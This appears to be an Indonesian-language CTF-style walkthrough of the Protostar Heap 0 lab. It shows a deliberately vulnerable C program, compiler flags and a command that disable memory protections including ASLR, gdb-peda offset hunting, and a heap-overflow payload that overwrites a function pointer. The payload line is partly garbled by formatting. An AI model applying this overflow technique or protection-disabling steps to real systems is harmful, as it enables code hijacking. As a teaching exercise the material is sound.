Protostar Heap 0

Alat dan Bahan

  • Fail: vuln.c
  • Kompiler: GCC
  • Sistem operasi: Ubuntu 16.04 dengan arsitektur 64 bit.

Mengatur Lingkungan Pekerjaan

  1. Source Code
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>

struct data {
    char name[64];
};

struct fp {
    int (*fp)();
};

void winner()
{
    printf("level passed\n");
}

void nowinner()
{
    printf("level has not been passed\n");
}

int main(int argc, char **argv)
{
    struct data *d;
    struct fp *f;

    d = malloc(sizeof(struct data));
    f = malloc(sizeof(struct fp));
    f->fp = nowinner;

    printf("data is at %p, fp is at %p\n", d, f);

    strcpy(d->name, argv[1]);

    f->fp();

}
  1. Kompilasi
gcc -m32 -fno-stack-protector -z execstack -mpreferred-stack-boundary=4 -o vuln -ggdb vuln.c

Penjelasan

-m32
Kompilasi source code menjadi binary dengan arsitektur 32 bit atau x86.

-fno-stack-protector
Kompilasi source code menjadi binary tanpa pelindung stack (canary).

-z execstack
Berguna mengaktifkan status stack agar dapat dieksekusi

-mpreferred-stack-boundary
Pada dasarnya, GCC akan mengkompilasi kode pada setiap fungsi sesuai urutan, masing-masing memiliki stack pointer dengan alinea 16-byte bondary (ini sangat penting jika program memiliki variabel lokal dan bisa juga digunakan untuk mengaktifkan instruksi sse2.
Jika parameter dirubah menjadi -mpreferred-stack-boundary=2 maka GCC akan menyusun stack pointer pada 4-byte-boundary. Ini akan menguangi kebutuhan stack didalam program, tetapi akan terjadi crash jika kode program yang dipanggil menggunakan sse2, sehingga secara umum menjadi program hasil kompilasi menjadi tidak aman.

-ggdb
Digunakan untuk menghasilkan informasi pada saat proses debugging ketika menggunakan GDB. Dengan kata lain format ekspresif telah disediakan (DWARF 2, stabs, atau fomat native lainnya jika tidak didukung), termasuk ekstensi GDB.
  1. Mematikan ASLR

Matikan ASLR agar proses eksploitasi lebih mudah. Untuk mematikannya gunakan perintah berikut:

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Identifikasi Kelemahan

Berdasarkan source code diatas terdapat kelemahan heap overflow pada variabel d yang dapat menyebabkan overwrite heap pada variabel f->fp(). Tujuan akhirnya adalah menimpa variabel tersebut dengan fungsi winner.

objdump -t vuln | grep winner
0804849b g     F .text    00000019              winner

Mencari jumlah bytes yang tepat untuk overwrite heap bisa menggunakan pattern_create dan pattern_offset pada gdb-peda.

gdb-peda$ pattern_create 256 > /tmp/bof
Writing pattern of 256 chars to filename ">"

gdb-peda$ pattern_create 256 /tmp/bof
Writing pattern of 256 chars to filename "/tmp/bof"

gdb-peda$ r `cat /tmp/bof`
Starting program: /home/dummy/Private/progress/protostar/vuln `cat /tmp/bof`
data is at 0x804b008, fp is at 0x804b050

Program received signal SIGSEGV, Segmentation fault.

[----------------------------------registers-----------------------------------]
EAX: 0x65414149 ('IAAe')
EBX: 0xffffd360 --> 0x2 
ECX: 0xffffd6a0 ("%1A%G")
EDX: 0x804b103 ("%1A%G")
ESI: 0xf7fa5000 --> 0x1b1db0 
EDI: 0xf7fa5000 --> 0x1b1db0 
EBP: 0xffffd348 --> 0x0 
ESP: 0xffffd32c --> 0x804853f (<main+114>:    mov    eax,0x0)
EIP: 0x65414149 ('IAAe')
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x65414149
[------------------------------------stack-------------------------------------]
0000| 0xffffd32c --> 0x804853f (<main+114>:    mov    eax,0x0)
0004| 0xffffd330 --> 0x2 
0008| 0xffffd334 --> 0xffffd3f4 --> 0xffffd579 ("/home/dummy/Private/progress/protostar/vuln")
0012| 0xffffd338 --> 0x804b050 ("IAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%G")
0016| 0xffffd33c --> 0x804b008 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA"...)
0020| 0xffffd340 --> 0xffffd360 --> 0x2 
0024| 0xffffd344 --> 0x0 
0028| 0xffffd348 --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x65414149 in ?? ()

gdb-peda$ pattern_offset 0x65414149
1698775369 found at offset: 72

Jumlah byte yang tepat adalah 72.

Eksploitasi

Untuk menyelesaikannya, gunakan payload dibawah ini.

`` ./vulnpython -c "print 'A'*72+'\x9b\x84\x04\x08'"` data is at 0x8ff8008, fp is at 0x8ff8050 level passed

Referensi

results matching ""

    No results matching ""